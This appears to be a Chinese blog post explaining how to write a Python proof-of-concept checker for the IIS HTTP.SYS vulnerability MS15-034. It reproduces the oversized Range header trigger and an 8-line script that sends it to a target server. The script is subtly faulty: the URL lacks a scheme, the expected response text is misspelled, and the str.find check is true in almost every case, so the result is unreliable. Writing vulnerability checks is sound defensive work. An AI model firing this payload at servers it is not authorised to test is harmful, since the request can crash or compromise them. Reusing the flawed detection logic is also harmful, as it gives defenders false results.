用Python编写Web漏洞检测工具

作为单位的网络安全管理员,经常会遇到这样的情况,某些漏洞在互联网上被批露后,在用的扫描工具却无法及时集成。

遇到这种情况,领导会说:“自己想办法,抓紧检测是否有这个漏洞。”很多人会告诉你可以用自行编写Poc这个方法,指的就是根据漏洞的简单原理写出对应的漏洞检测代码,用来验证漏洞是否存在。那么如何编写Poc呢?可能你会把它想象的无比困难。

Python的出现,极大简化了Poc的编写过程,我们不需要再把时间浪费在网络连接、发送HTTP数据等繁琐的杂事上。以15年打击面最广的“HTTP.SYS远程执行代码漏洞”(ms15-034)为例,编写Poc只需要两个步骤。

第一步:简单了解漏洞触发机制

在网上可以搜索到,这个漏洞触发机制就是:使用IIS作为WEB容器可能存在编号为MS-15034的远程代码执行漏洞,可以发送测试代码,若返回“Requested Range Not Satisfiable”则证明存在此漏洞。

下面就是被公布的测试代码:

 Host: stuff
 Range: bytes=0-" + hexAllFfff

简单来说,要验证是否存在漏洞,只要把测试代码发送到目标服务器上,进行验证即可,而这就是利用Python编写Web漏洞检测工具(Poc)的过程。

第二步:用Python编写漏洞检测具体代码

代码只有8行,我进行了详细注释,直接贴出来。

import requests # 发送web请求所需的库
url = '127.0.0.1' # 需要测试的服务器IP
payload = {'Host':'stuff','Range':'bytes=0-18446744073709551615'} # 测试代码
r1 = requests.get(url, headers=payload) #发送测试代码
if str(r1.content).find('Requested Range Not Satisfialbe'): # 检查返回结果
    print('{}有ms15-034漏洞'.format(url))
else:
    print('{}不存在ms15-034漏洞'.format(url))

简单两步加上8行代码,就完成了一个ms15-034漏洞检测工具。当然,实际应用还有很多需要完善的地方,那就自己动手吧

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 在房间里躲着太阳 透过窗观望它 想起 那些我们并肩走过的地方 那些我们打闹过的学校走廊 那些我们哗啦翻响过的书本 ...
    简拾光阅读 391评论 0 0
  • 焦点讲师一期班洛阳刘琳坚持分享第261天 总感觉这个年过的好快呀,一转眼又到了工作和学习的时间了。这几天真...
    小溪与大海阅读 282评论 1 1
  • 今日拳课。该学弯弓射虎之发力。我比较拒斥学新课,因为发现根基不牢固。老师认为不妨:一则新动作不脱离云手,二则不同的...
    苏梅LI阅读 170评论 0 3